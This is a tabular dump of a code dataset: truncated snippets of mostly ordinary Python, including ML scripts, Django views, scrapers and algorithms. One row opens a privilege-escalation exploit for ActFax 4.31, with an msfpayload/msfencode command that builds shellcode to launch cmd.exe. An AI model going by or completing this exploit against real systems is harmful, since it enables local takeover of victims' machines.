index int64 0 1,000k | blob_id stringlengths 40 40 | code stringlengths 7 10.4M |
|---|---|---|
1,600 | fa02fb701b59728671a7e87147adaeb33422dcdb | {'ivy': {'svm': ({'kernel': 'rbf', 'C': 10.0}, 0.034482758620689662, 0.035087719298245612), 'tuned_ensemble': ({'svm__C': 100000.0, 'rf__n_estimators': 101, 'cart__min_samples_leaf': 7, 'knn__n_neighbors': 2, 'rf__random_state': 1542, 'cart__max_depth': 33, 'cart__max_features': 0.35714285714285721, 'svm__kernel': 'sig... |
1,601 | 02ffdd1c03cc20883eddc691fc841022b4ff40fd | import os
import urllib.request as ulib
import json
from bs4 import BeautifulSoup as Bsoup
def find_links(name):
name = name.replace(" ", "+")
url_str = 'https://www.google.com/search?ei=1m7NWePfFYaGmQG51q7IBg&hl=en&q={}' + \
'\&tbm=isch&ved=0ahUKEwjjovnD7sjWAhUGQyYKHTmrC2kQuT0I7gEoAQ&start={}'... |
1,602 | 290f96bb210a21183fe1e0e53219ad38ba889625 | default_app_config = 'child.apps.ChildConfig'
|
1,603 | d088aadc4d88267b908c4f6de2928c812ef36739 | import pygame
from pygame.sprite import Sprite
import spritesheet
class Bunker(Sprite):
def __init__(self, ai_settings, bunker_x, bunker_y, screen, images):
"""Initialize the ship and set its starting position"""
super(Bunker, self).__init__()
self.screen = screen
self.images = ima... |
1,604 | 02ab822dacb26d623a474fa45ebb034f9c1291b8 | # coding: utf-8
from pyquery import PyQuery as pq
html = '''
<div id="container">
<ul class="list">
<li class="item-0">first item</li>
<li class="item-1"><a href="link2.html">second item</a></li>
<li class="item-0 active"><a href="link3.html">third item</a></li>
... |
1,605 | f7afd08fb8316e44c314d17ef382b98dde7eef91 | #!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: Yuan
import time
import sys
def jindutiao(jindu,zonge):
ret = (jindu/zonge)*100
r = "\r%s%d%%"%("="*jindu,ret)
sys.stdout.write(r)
sys.stdout.flush()
if __name__ =="__main__":
for i in range(101):
time.sleep(0.1)
jindutia... |
1,606 | 7620ff333422d0354cc41c2a66444c3e8a0c011f | from django import forms
from django.core import validators
class NameSearch(forms.Form):
name= forms.CharField(label='Search By Name')
|
1,607 | 18b82f83d3bf729eadb2bd5a766f731a2c54a93b | class Solution:
def searchRange(self, nums: List[int], target: int) -> List[int]:
res = [-1, -1]
def binary_serach(left, right, target, res):
if left >= right:
return
mid = (left + right) // 2
if nums[mid] == target:
... |
1,608 | 86d032a3cd67118eb46073c996f1c9a391f8dfe0 | from ryu.base import app_manager
from ryu.controller import ofp_event
from ryu.controller.handler import MAIN_DISPATCHER
from ryu.controller.handler import set_ev_cls
from ryu.ofproto import ofproto_v1_0
from ryu.lib.mac import haddr_to_bin
from ryu.lib.packet import packet
from ryu.lib.packet import ethernet
from ryu... |
1,609 | e9890fcf9ad2a78b3400f6e4eeb75deac8edcd6a | from neodroidagent.entry_points.agent_tests import sac_gym_test
if __name__ == "__main__":
sac_gym_test()
|
1,610 | c8fecb6bfbd39e7a82294c9e0f9e5eaf659b7fed | # Exercise 1 - linear.py
import numpy as np
import keras
# Build the model
model = keras.Sequential([keras.layers.Dense(units=1,input_shape=[1])])
# Set the loss and optimizer function
model.compile(optimizer='sgd', loss='mean_squared_error')
# Initialize input data
xs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0, 4.0], dtype=... |
1,611 | a55daebd85002640db5e08c2cf6d3e937b883f01 | #!/usr/bin/env python3
"""
Calculates the maximization step in the EM algorithm for a GMM
"""
import numpy as np
def maximization(X, g):
"""
Returns: pi, m, S, or None, None, None on failure
"""
if type(X) is not np.ndarray or len(X.shape) != 2:
return None, None, None
if type(g) is not... |
1,612 | 512d0a293b0cc3e6f7d84bb6958dc6693acde680 | # I Have Created this file -Nabeel
from django.http import HttpResponse
from django.shortcuts import render
def index(request):
return render(request,'index.html')
def aboutme(request):
return HttpResponse (" <a href='https://nb786.github.io/Ncoder/about.html' > Aboutme</a>")
def contact(request):
retur... |
1,613 | 37cafe5d3d3342e5e4070b87caf0cfb5bcfdfd8d | from tkinter.ttk import *
from tkinter import *
import tkinter.ttk as ttk
from tkinter import messagebox
import sqlite3
root = Tk()
root.title('Register-Form')
root.geometry("600x450+-2+86")
root.minsize(120, 1)
def delete():
if(Entry1.get()==''):
messagebox.showerror('Register-Form', 'ID Is compolsary fo... |
1,614 | 9b3c2604b428295eda16030b45cf739e714f3d00 | '''
Module for interaction with database
'''
import sqlite3
from enum import Enum
DB_NAME = 'categories.db'
class State(Enum):
ok = True
error = False
def get_db_connection():
try:
global connection
connection = sqlite3.connect(DB_NAME)
cursor = connection.cursor()
exce... |
1,615 | a3507019ca3310d7ad7eb2a0168dcdfe558643f6 | # -*- coding: UTF-8 -*-
'''
Evaluate trained PredNet on KITTI sequences.
Calculates mean-squared error and plots predictions.
'''
import os
import numpy as np
from six.moves import cPickle
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
from keras import ... |
1,616 | 7081211336793bfde60b5c922f6ab9461a475949 | import time
import optparse
from IPy import IP as IPTEST
ttlValues = {}
THRESH = 5
def checkTTL(ipsrc,ttl):
if IPTEST(ipsrc).iptype() == 'PRIVATE':
return
if not ttlValues.has_key(ipsrc):
pkt = srl(IP(dst=ipsrc) / TCMP(),retry=0,timeout=0,verbose=0)
ttlValues[ipsrc] = pkt.ttl
... |
1,617 | 535fdee8f74b1984c5d1a5ec929310473b01239d | import numpy as np
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras.initializers import RandomUniform
class Critic:
def __init__(self, obs_dim, action_dim, learning_rate=0.001):
self.obs_dim = obs_dim
self.action_dim = action_dim
self.model = self.make_network()
... |
1,618 | 192bd3c783f6f822f8e732ddf47d7fc3b22c032b | """Create a new Node object and attach it a Linked List."""
class Node(object):
"""Build a node object."""
def __init__(self, data=None, next=None):
"""Constructor for the Node object."""
self.data = data
self.next = next
class LinkedList(object):
"""Build linked list."""
d... |
1,619 | 6acb253189798c22d47feb3d61ac68a1851d22ba | import pickle
from generation_code import serial_filename
import serial_output_code
import numpy as np
from shutil import copyfile
from os import remove
# This file is only temporary, mostly to be used when updating the
# reference output from a regression test, to ensure that, in all
# aspects that are in common with... |
1,620 | be90dcb4bbb69053e9451479990e030cd4841e4a | #-*- coding: utf8 -*-
#credits to https://github.com/pytorch/examples/blob/master/imagenet/main.py
import shutil, time, logging
import torch
import torch.optim
import numpy as np
import visdom, copy
from datetime import datetime
from collections import defaultdict
from generic_models.yellowfin import YFOptimizer
logg... |
1,621 | d6e836140b1f9c955711402111dc07e74b4a23b1 | """
This module provides a script to extract data from all JSON files stored in a specific directory and create a HTML
table for an better overview of the data.
.. moduleauthor:: Maximilian Springenberg <mspringenberg@gmail.com>
|
"""
from collections import defaultdict
from argparse import ArgumentParser
import os... |
1,622 | 74939f81e999b8e239eb64fa10b56f48c47f7d94 | # Problem Statement – An automobile company manufactures both a two wheeler (TW) and a four wheeler (FW). A company manager wants to make the production of both types of vehicle according to the given data below:
# 1st data, Total number of vehicle (two-wheeler + four-wheeler)=v
# 2nd data, Total number of wheels = W
... |
1,623 | b9675bc65e06624c7f039188379b76da8e58fb19 | #!/usr/bin/env python
# encoding: utf-8
from tree import *
def findKthNode(root, k):
if not root:
return None
if root.number < k or k <= 0:
return None
if k == 1:
return root
if root.left and root.left.number >= k-1:
return findKthNode(root.left, k - 1)
else:
... |
1,624 | 53de53614b3c503a4232c00e8f2fd5a0f4cb6615 | #!/usr/bin/python3
"""
request api and write in JSON file
all tasks todo for every users
"""
import json
import requests
import sys
if __name__ == "__main__":
req = "https://jsonplaceholder.typicode.com/todos"
response = requests.get(req).json()
d = {}
req_user = "https://jsonplaceholder.typic... |
1,625 | 24cd3a1a05a1cfa638b8264fd89b36ee63b29f89 | from setuptools import setup
setup(
name="CoreMLModules",
version="0.1.0",
url="https://github.com/AfricasVoices/CoreMLModules",
packages=["core_ml_modules"],
setup_requires=["pytest-runner"],
install_requires=["numpy", "scikit-learn", "nltk"],
tests_require=["pytest<=3.6.4"]
)
|
1,626 | e7ef8debbff20cb178a3870b9618cbb0652af5af | #!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
1,627 | 09a5c96b7f496aca6b34d7f0a83d5b1e182ca409 | def quick_sort(arr):
q_sort(arr, 0, len(arr) - 1)
def q_sort(arr, left, right):
if left < right:
pivot_index = partition(arr, left, right)
q_sort(arr, left, pivot_index - 1)
q_sort(arr, pivot_index + 1, right)
def partition(arr, left, right):
pivot = arr[left]
while left < ... |
1,628 | 7feac838f17ef1e4338190c0e8c284ed99369693 | #/usr/bin/env python
#v0.2
import random, time
mapHeight = 30
mapWidth = 30
fillPercent = 45
def generateNoise():
#generate a grid of cells with height = mapHeight and width = mapWidth with each cell either "walls" (true) or "floors" (false)
#border is guaranteed to be walls and all other spaces have a fi... |
1,629 | d39f6fca80f32a4d13764eb5cfb29999785b1d16 | import random
my_randoms = random.sample(100, 10)
print(my_randoms)
|
1,630 | 53509d826b82211bac02ea5f545802007b06781c | # Register all decoders
import ludwig.schema.decoders.base
import ludwig.schema.decoders.sequence_decoders # noqa
|
1,631 | b10d3d8d0ded0d2055c1abdaf40a97abd4cb2cb8 | import numpy as np
import matplotlib.pyplot as plt
from scipy import stats
def fit(x, iters=1000, eps=1e-6):
"""
Fits a 2-parameter Weibull distribution to the given data using maximum-likelihood estimation.
:param x: 1d-ndarray of samples from an (unknown) distribution. Each value must satisfy x ... |
1,632 | 7c6ac2837751703ac4582ee81c29ccf67b8277bc | from django.shortcuts import render, get_object_or_404
from django.views.generic import ListView, CreateView, UpdateView, DeleteView, DetailView
from accounts.models import Employee
from leave.models import ApplyLeave
from departments.models import Department, Position
from django.contrib.auth.models import User
from... |
1,633 | 4e50a7a757bacb04dc8f292bdaafb03c86042e6c | import time
from tests.test_base import BaseTest
from pages.campo_de_treinamento_page import CampoDeTreinamentoPage
class TestCadastro(BaseTest):
def test_cadastro_com_sucesso(self):
self.campoDeTreinamento = CampoDeTreinamentoPage(self.driver)
self.campoDeTreinamento.fill_name("Everton")
... |
1,634 | 941a93c66a5131712f337ad055bbf2a93e6ec10d | #!/usr/bin/env python
#coding=utf-8
#author:maohan
#date:20160706
#decription:通过百度api获取相关信息,并保存为xls格式
#ver:1.0
import urllib2
import json
import sys
from pyExcelerator import *
def bd_finder(qw,region,page_num):
page_size='20'
bd_ak='wkEmrv7B1l0KPpi30F1G2VMx10xEdeol'
bd_url='http://api.map.baidu.com/place/v2/search?... |
1,635 | 5923a12378225fb6389e7e0275af6d4aa476fe87 | import logging
from logging import INFO
from typing import Dict, List
from .constants import Relations, POS
from .evaluator import *
from .general import DPHelper
from .general import *
from .utils import *
# ========================================= DRIVER =================================================
def genera... |
1,636 | 75990147e4a3dae1b590729ed659e2ddcbfb295d | ## More Review + More Linked Lists ##
##Given a pointer to the head node of a linked list whose data elements are in non-decreasing order, you must delete any duplicate nodes and print the updated list.
##Code handling I/O is provided in the editor. Complete the removeDuplicates(Node) function.
##Note: The head poi... |
1,637 | c268c61e47698d07b7c1461970dc47242af55777 | # -*- coding: utf-8 -*-
#借鉴的扫码单文件
import qrcode
from fake_useragent import UserAgent
from threading import Thread
import time, base64
import requests
from io import BytesIO
import http.cookiejar as cookielib
from PIL import Image
import os
requests.packages.urllib3.disable_warnings()
ua = UserAgent(pa... |
1,638 | 824038a56e8aaf4adf6ec813a5728ab318547582 | """
common tests
"""
from django.test import TestCase
from src.core.common import get_method_config
from src.predictive_model.classification.models import ClassificationMethods
from src.predictive_model.models import PredictiveModels
from src.utils.tests_utils import create_test_job, create_test_predictive_model
cl... |
1,639 | ea6d726e8163ed0f93b8078323fa5f4e9115ad73 | # Copyright (c) 2021 Cisco and/or its affiliates.
#
# SPDX-License-Identifier: Apache-2.0 OR GPL-2.0-or-later
#
# Licensed under the Apache License 2.0 or
# GNU General Public License v2.0 or later; you may not use this file
# except in compliance with one of these Licenses. You
# may obtain a copy of the Licenses at:... |
1,640 | 0058a6d3c9d4e600885b876614362ea4401ce2fe | import time
with open("src/time.txt", "w") as f:
f.write(str(int(time.time()))) |
1,641 | 3be1947ead65f8e8a9bf73cc8cae2c7d69d8b756 | import flask
import numpy as np
import pandas as pd
import requests
from bs4 import BeautifulSoup
import pickle
from recent_earnings_tickers import ok_tickers
import re
#---------- Model ----------------#
#with open('/Users/samfunk/ds/metis/project_mcnulty/code/REPLACE_WITH_MODEL_PICKLE', 'rb') as f:
#PREDICTOR =... |
1,642 | 137ed9c36265781dbebabbd1ee0ea84c9850201a | import tkinter as tk
from tkinter import Tk, ttk
from tkinter import filedialog
import matplotlib.pyplot as plt
import numpy as np
import matplotlib
from matplotlib.backends.backend_tkagg import (
FigureCanvasTkAgg, NavigationToolbar2Tk)
from matplotlib.figure import Figure
import matplotlib.animation as animation
... |
1,643 | ab35684166f07a3ab9e64f2ff98980e25a3fc576 | from django.conf import settings
from .base import *
import os
DEBUG = True
SECRET_KEY = os.environ['SECRET_KEY']
ROOT_URLCONF = 'floweryroad.urls.docker_production'
ALLOWED_HOSTS = [os.environ['WEB_HOST']]
CORS_ORIGIN_WHITELIST = [
os.environ['CORS']
]
DATABASES = {
'default': {
'ENGINE': 'django... |
1,644 | f13ccbfb27788deca0d4f4b58a4e9e8c7e8e0306 | import weakref
from enum import Enum
from functools import partial
from typing import TYPE_CHECKING
import inflection
if TYPE_CHECKING:
from stake.client import StakeClient
camelcase = partial(inflection.camelize, uppercase_first_letter=False)
__all__ = ["SideEnum"]
class SideEnum(str, Enum):
BUY = "B"
... |
1,645 | bf41ab20b9fae9f19efdc58852e48d9b735f34c3 | user_schema = {
'id': {
'type': 'string',
'required': True,
'coerce': (str, lambda x: x.lower())
},
'latitude':{
'type': 'float',
'required': True,
'min': -60.0,
'max': 10,
'coerce': (float, lambda x: round(x, 5))
},
'longitude':{
... |
1,646 | fccdf75fe83ad8388c12a63555c4132181fd349a | import os
import time
from datetime import datetime
from typing import List, Tuple
from pyspark.sql import SparkSession
from Chapter01.utilities01_py.helper_python import create_session
from Chapter02.utilities02_py.domain_objects import WarcRecord
from Chapter02.utilities02_py.helper_python import extract_raw_records,... |
1,647 | 27f001f4e79291825c56642693894375fef3e66a | import re
def read_input():
with open('../input/day12.txt') as f:
lines = f.readlines()
m = re.search(r'initial state:\s([\.#]+)', lines[0])
initial_state = m.groups()[0]
prog = re.compile(r'([\.#]{5})\s=>\s([\.#])')
rules = []
for i in range(2, len(lines)):
m = prog.search(line... |
1,648 | 0ce69b7ce99b9c01892c240d5b268a9510af4503 | import unittest
from battleline.model.Formation import Formation, FormationInvalidError
class TestFormation(unittest.TestCase):
def test_formation_with_less_than_three_cards_is_considered_invalid(self):
self.assertRaisesRegexp(
FormationInvalidError, "Formation must have 3 cards", Formation, ... |
1,649 | 81233eb12b8447d017b31f200ab7902dcce45496 | a = float(input('Digite um valor: '))
b = float(input('Digite outro valor: '))
c = float(input('Digite mais um valor: '))
if a == b or b == c:
print('Com os números digitados, formam um triângulo EQUILATERO.')
elif a <> b and b <> c and c == a and b == c:
print('Com os números digitados, formam um triângulo ISO... |
1,650 | f6fee18898636ad6b0dc6d96d28dead4e09b8035 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Sep 18 13:36:13 2019
@author: gennachiaro
"""
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns; sns.set()
import pyrolite.plot
from pyrolite.plot.spider import spider
#read in data
df = pd.read_csv('/users/ge... |
1,651 | 9e16921d83a5f62aad694b26a92b57b97ccda461 | """After seeing how great the lmfit package, I was inspired to create my own
object using it. This acts as a fitting template.
"""
##-------------------------------PREAMBLE-----------------------------------##
import numpy as np
import matplotlib.pyplot as plt
from lmfit import minimize, Parameters, fit_report
impo... |
1,652 | 0cba18ca7126dda548a09f34dc26b83d6471bf68 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('courses', '0015_auto_20151216_1136'),
]
operations = [
migrations.AlterField(
model_name='duration',
... |
1,653 | a28c62a18d793fb285353902d01801c720bcb454 | #this apps is open
#Let's start with introduction
print "Hi, I am x0x. Could we introduce ourselves? (yes/no)"
answer = raw_input()
if answer.lower() == 'yes':
print "Okay, what is your name?"
name = raw_input()
print "Hi", name
print "Nice to meet you."
print "What are you going to do?"
print... |
1,654 | f7a511beaea869cf32eb905a4f3685077297a5ec | import bpy
bl_info = {
"name": "Ratchets Center All Objects",
"author": "Ratchet3789",
"version": (0, 1, 0),
"description": "Centers all selected objects. Built for Game Development.",
"category": "Object",
}
class CenterOriginToZero(bpy.types.Operator):
"""Center all objects script""" # blen... |
1,655 | ad63beedc460b3d64a51d0b1f81f8e44cb559749 | import torch,cv2,os,time
import numpy as np
import matplotlib.pyplot as plt
from tqdm import tqdm
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
# GPU kullanımı
device=torch.device(0)
class NET(nn.Module):
def __init__(self):
super(). __init__()
... |
1,656 | 0212382b5c8cc1e98142a784fd26efd577ebceaf | # LCP 74. 最强祝福力场-离散化+二维差分
# https://leetcode.cn/problems/xepqZ5/
# forceField[i] = [x,y,side] 表示第 i 片力场将覆盖以坐标 (x,y) 为中心,边长为 side 的正方形区域。
# !若任意一点的 力场强度 等于覆盖该点的力场数量,请求出在这片地带中 力场强度 最强处的 力场强度。
# !统计所有左下和右上坐标,由于会出现 0.5可以将坐标乘 2。
# O(n^2)
from typing import List
from 二维差分模板 import DiffMatrix
class Solution:... |
1,657 | ffcd3c0086ff73eb722d867b335df23382615d20 | salario = float(input('Qual o valor do seu Salario atual? R$ '))
novo = salario + (salario * 15 / 100)
print('Um funcioario que ganhava R$ {:.2f} com o aumento de 15% passa a ganhar R$ {:.2f}'.format(salario, novo)) |
1,658 | d28e517e72c3689e973a5b1255d414648de418fb | from CategoryReplacer.CategoryReplcaers import CountEncoder
from CategoryReplacer.CategoryReplcaers import CombinCountEncoder
from CategoryReplacer.CategoryReplcaers import FrequencyEncoder
from CategoryReplacer.CategoryReplcaers import NullCounter
from CategoryReplacer.CategoryReplcaers import AutoCalcEncoder
from Cat... |
1,659 | 2b14607aa2527f5da57284917d06ea60e89f784c | import pygame
from .Coin import Coin
from .Snake import Snake, Block
from .Bomb import Bomb
from .Rocket import Rocket
from pygame.math import Vector2
cell_size = 16
cell_number = 30
sprite_cell = pygame.image.load("Assets/Cell.png")
bg = pygame.image.load("Assets/BG.png")
bg2 = pygame.image.load("Assets/BG2.png")
c... |
1,660 | da696961fea72e1482beae73c19b042b94d93886 | from Crypto.Hash import SHA512
from Crypto.PublicKey import RSA
from Crypto import Random
from collections import Counter
from Tkinter import Tk
from tkFileDialog import askopenfilename
import ast
import os
import tkMessageBox
from Tkinter import Tk
from tkFileDialog import askopenfilename
import Tkinter
import tkSimpl... |
1,661 | c0ad3d642f28cb11a8225d4d011dbb241bd88432 | n = int(input('Digite um número inteiro: '))
print(' O dobro de {} é {}'.format(n, n*2))
print(' O triplo de {} é {}'.format(n, n*3))
print(' A Raiz quadrada de {} é {}'.format(n, n*n)) |
1,662 | d39cc2dbbc83869e559f8355ceba5cf420adea5e | class Solution:
def isUgly(self, num):
if num==0: return False
for n in [2,3,5]:
while num%n==0:
num=num/n
return num==1
a=Solution()
print(a.isUgly(14))
print(a.isUgly(8))
print(a.isUgly(6))
print(a.isUgly(0)) |
1,663 | f6a3693fe81e629d987067265bf4e410bf260bcf | import numpy as np
import yaml
import pickle
import os
from flask import Flask, request, jsonify, render_template, redirect, url_for, flash
from flask_mail import Mail, Message
from flask_wtf import FlaskForm
from flask_sqlalchemy import SQLAlchemy
from flask_bootstrap import Bootstrap
from wtforms import StringField,... |
1,664 | 3edfc1098c775fa31456aa3cc938051b2dbb8697 | from typing import List
class Solution:
def findSubsequences(self, nums: List[int]) -> List[List[int]]:
res: List[List[int]] = []
s = set()
def deep(pos: int, tmp: List[int]):
if pos == len(nums):
if len(tmp) < 2:
return
for... |
1,665 | 572d58eec652207e6ec5a5e1d4c2f4310f2a70f3 | import ttk
import Tkinter as tk
from rwb.runner.log import RobotLogTree, RobotLogMessages
from rwb.lib import AbstractRwbGui
from rwb.widgets import Statusbar
from rwb.runner.listener import RemoteRobotListener
NAME = "monitor"
HELP_URL="https://github.com/boakley/robotframework-workbench/wiki/rwb.monitor-User-Guide"... |
1,666 | 670efbd9879099b24a87e19a531c4e3bbce094c6 |
"""
Read all the images from a directory,
resize, rescale and rename them.
"""
|
1,667 | d0e5a3a6db0e27ecf157294850a48a19750a5ac2 | # Cookies Keys
class Cookies:
USER_TOKEN = "utoken"
# Session Keys
class Session:
USER_ROOT_ID = "x-root-id"
class APIStatisticsCollection:
API_ACTION = "x-stats-api-action"
DICT_PARAMS = "x-stats-param-dict"
DICT_RESPONSE = "x-stats-resp-dict"
SUCCESS = "x-stats-success"
... |
1,668 | 8dfd92ab0ce0e71b41ce94bd8fcf057c8995a2a4 | import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import numpy as np
def plot3D(xValues, labels, figure = 0):
minClass = min(labels)
numberOfClasses = int(max(labels) - minClass)
fig = plt.figure(figure)
ax = plt.axes(projection='3d')
colors = ["r", "b", "y", "c", "m"]
fo... |
1,669 | 4480b305a6f71ff64022f2b890998326bf402bf0 | #coding=utf-8
'初始化Package,加载url,生成app对象'
import web
from myapp.urls import urls
app = web.application(urls, globals())
|
1,670 | d44d9003e9b86722a0fc1dfe958de462db9cd5f1 | linha = input().split()
a = float(linha[0])
b = float(linha[1])
c = float(linha[2])
t = (a*c)/2
print('TRIANGULO: {:.3f}'.format(t))
pi = 3.14159
print("CIRCULO: {:.3f}".format(pi*c**2))
print('TRAPEZIO: {:.3f}'.format( ((a+b)*c)/2 ))
print("QUADRADO: {:.3f}".format(b**2))
print("RETANGULO: {:.3f}".format(a*b)) |
1,671 | 474700968e563d34d6a0296ec62950e2e71fe1b0 | # -*- coding: utf-8 -*-
import chainer.links as L
import chainer.functions as F
from chainer import optimizer, optimizers, training, iterators
from chainer.training import extensions
from chainer.datasets import tuple_dataset
class SoftMaxTrainer():
def __init__(self, net):
self.model = L.Classifier(net)... |
1,672 | fc17b865815a7a5ec51f477a9fdda54667686eed | import pandas as pd
import matplotlib.pyplot as plt
loansData = pd.read_csv('loansData.csv')
# Print the first 5 rows of each of the column to see what needs to be cleaned
print loansData['Interest.Rate'][0:5]
print loansData['Loan.Length'][0:5]
print loansData['FICO.Range'][0:5]
# Clean up the columns
loansData['... |
1,673 | 955017ad7cc9dde744b8d8a9439f63f4725d50bc | #!/usr/bin/python
# This script deletes and recreates the NIC BoD intents.
# Use nic-bod-setup.py to set up the physical network and NEMO nodes first
import requests,json
import argparse, sys
from requests.auth import HTTPBasicAuth
USERNAME='admin'
PASSWORD='admin'
NIC_INTENTS="http://%s:8181/restconf/config/intent... |
1,674 | ab632c3c8a7f295a890de19af82fde87c6d600bc | class Solution(object):
def gcdOfStrings(self, str1, str2):
if str1 == str2:
return str1
elif not str1 or not str2:
return ''
elif str1.startswith(str2):
return self.gcdOfStrings(str1[len(str2):], str2)
elif str2.startswith(str1):
retur... |
1,675 | 71fb9dc9f9ac8b1cdbc6af8a859dbc211512b4d1 | from allcode.controllers.image_classifiers.image_classifier import ImageClassifier
class ImageClassifierMockup(ImageClassifier):
def classify_images(self, images):
pass
def classify_image(self, image):
return {'final_class': 'dog',
'final_prob': .8}
|
1,676 | 9cea27abebda10deefa9e05ddefa72c893b1eb18 | import numpy as np
import cv2
from DataTypes import FishPosition
class FishSensor(object):
def __init__(self):
self.cap = cv2.VideoCapture(0)
self.cap.set(3, 280)
self.cap.set(4, 192)
#cv2.namedWindow("image")
#lower_b, lower_g, lower_r = 0, 0, 80
lower_b, lower_g, lower_r = ... |
1,677 | eda1c1db5371f5171f0e1929e98d09e10fdcef24 | """Test Assert module."""
import unittest
from physalia import asserts
from physalia.fixtures.models import create_random_sample
from physalia.models import Measurement
# pylint: disable=missing-docstring
class TestAssert(unittest.TestCase):
TEST_CSV_STORAGE = "./test_asserts_db.csv"
def setUp(self):
... |
1,678 | e4f07355300003943d2fc09f80746a1201de7e37 | # ch14_26.py
fn = 'out14_26.txt'
x = 100
with open(fn, 'w') as file_Obj:
file_Obj.write(x) # 直接輸出數值x產生錯誤
|
1,679 | 63001128d9cb934d6f9d57db668a43ba58f4ece3 | # encoding: utf-8
from SpiderTools.tool import platform_system
from SpidersLog.file_handler import SafeFileHandler
from Env.parse_yaml import FileConfigParser
from Env import log_variable as lv
from staticparm import root_path
from SpiderTools.tool import get_username
import logging
import logging.handlers
import trace... |
1,680 | aac3b2478980d3a5453451cb848afcfd6aca1743 | import logging as log
from time import monotonic
import re
from jmap.account import ImapAccount
import jmap.core as core
import jmap.mail as mail
import jmap.submission as submission
import jmap.vacationresponse as vacationresponse
import jmap.contacts as contacts
import jmap.calendars as calendars
from jmap import er... |
1,681 | 66f60eb86137203a74656be13b631384eba30c84 | # Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution(object):
def getIntersectionNode(self, headA, headB):
"""
:type head1, head1: ListNode
:rtype: ListNode
"""
if not hea... |
1,682 | 27ca60435c614e4d748917da45fc2fc75ee59f1c | #! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import division
import os
from solid import *
from solid.utils import *
from shapes import *
import sys
# Assumes SolidPython is in site-packages or elsewhwere in sys.path
from solid import *
from solid.utils import *
def voxels():
# shape = cube([1,... |
1,683 | 7282af4186a976296ac50840e9169b78a66e118b | import pyreadstat
import matplotlib.pyplot as plt
import numpy as np
from keras.models import Sequential
from keras.layers import Dense
from keras.utils import np_utils
from sklearn.preprocessing import LabelEncoder
# Set random seed for reproducible results
np.random.seed(1)
# Read sav file and create a pandas dataf... |
1,684 | 333d237dd4a203fcfde3668901d725f16fbc402e | print('-'*100)
print('BIENVENIDOS A TIENDA ELEGANCIA')
print('-'*100)
prendas = ('Remeras', 'Camisas', 'Pantalones', 'Faldas', 'Vestidos', 'Abrigos', 'Calzado')
precioSinPromo = 0
superPuntos = 0
#ARTICULO 1
tipoPrenda1 = int(input('Ingrese Codigo de la prenda seleccionada: 0=Remeras, 1=Camisas, 2=Pantalones, 3=Fald... |
1,685 | 732886306d949c4059b08e1bc46de3ad95ba56cb | """
Primos <generadores> 30 pts
Realice una generador que devuelva de todos lo numeros primos
existentes de 0 hasta n-1 que cumpla con el siguiente prototipo:
def gprimo(N):
pass
a = gprimo(10)
z = [e for e in a]
print(z)
# [2, 3 ,5 ,7 ]
"""
def gprimo(nmax):
for x in range(1,nmax):
for i in ra... |
1,686 | e9c88e18472281438783d29648c673aa08366abb | import unittest2 as unittest
class GpTestCase(unittest.TestCase):
def __init__(self, methodName='runTest'):
super(GpTestCase, self).__init__(methodName)
self.patches = []
self.mock_objs = []
def apply_patches(self, patches):
if self.patches:
raise Exception('Test c... |
1,687 | 1b7048ef17b3512b9944ce7e197db27f4fd1aed0 | #!/usr/bin/python
#Title: ActFax 4.31 Local Privilege Escalation Exploit
#Author: Craig Freyman (@cd1zz)
#Discovered: July 10, 2012
#Vendor Notified: June 12, 2012
#Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html
#msfpayload windows/exec CMD=cmd.exe R | msfencode -e x86/alpha_u... |
1,688 | 6fbf64e2dc2836a54e54ee009be1d0d8d7c7037a | import time
from sqlalchemy import Column, Unicode, UnicodeText, Integer
from models.base_model import SQLMixin, db, SQLBase
class Messages(SQLMixin, SQLBase):
__tablename__ = 'Messages'
title = Column(Unicode(50), nullable=False)
content = Column(UnicodeText, nullable=False)
sender_id = ... |
1,689 | 057140ef1b8db340656b75b3a06cea481e3f20af | '''
Bayesian models for TWAS.
Author: Kunal Bhutani <kunalbhutani@gmail.com>
'''
from scipy.stats import norm
import pymc3 as pm
import numpy as np
from theano import shared
from scipy.stats.distributions import pareto
from scipy import optimize
import theano.tensor as t
def tinvlogit(x):
return t.exp(x) / (1 +... |
1,690 | ee7820d50b5020a787fbaf012480e8c70bc0ee41 | from flask import request, json, Response, Blueprint
from ..models.DriverModel import DriverModel, DriverSchema
driver_api = Blueprint('drivers', __name__)
driver_schema = DriverSchema()
@driver_api.route('/', methods=['POST'])
def create():
req_data = request.get_json()
data, error = driver_schema.load(req_... |
1,691 | 7ca7693b842700a7b15242b656648e8a7e58cd23 | '''
Project Euler
Problem #41 - Pandigital prime
David 07/06/2017
'''
import time
import math
maxPandigitalPrime = 2
def isPrime(num):
if(num<=1):
return False
elif(num==2):
return True
elif(num%2==0):
return False
else:
sqrt_num = math.sqrt(num)
bound = int(... |
1,692 | bbdb07a81d785bdf067707c4e56622a2ada76b7b | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019/8/15 下午5:04
# @Author : Zessay
from .ffm import *
from .fm import *
from .utils import *
from .base_model import *
from .base_trainer import *
from .logger import *
from .metric import *
from .input_fn import * |
1,693 | a998433e45c1d5135749c5164e8ec1f2eb0e572a | from job_description import JobDescription
from resume import Resume
from resume_manager import ResumeManager
|
1,694 | 6f5bca8c1afcd9d9971a64300a576ca2b2f6ef70 | from django.shortcuts import render
from rest_framework import status
from rest_framework.views import APIView
from rest_framework.response import Response
from django.conf import settings
import subprocess
import os
import json
class HookView(APIView):
def post(self, request, *args, **kwargs):
SCRIPT_PAT... |
1,695 | b210784a198eaa3e57b5a65ec182a746aecc0e2b | from pet import Pet
class Ninja:
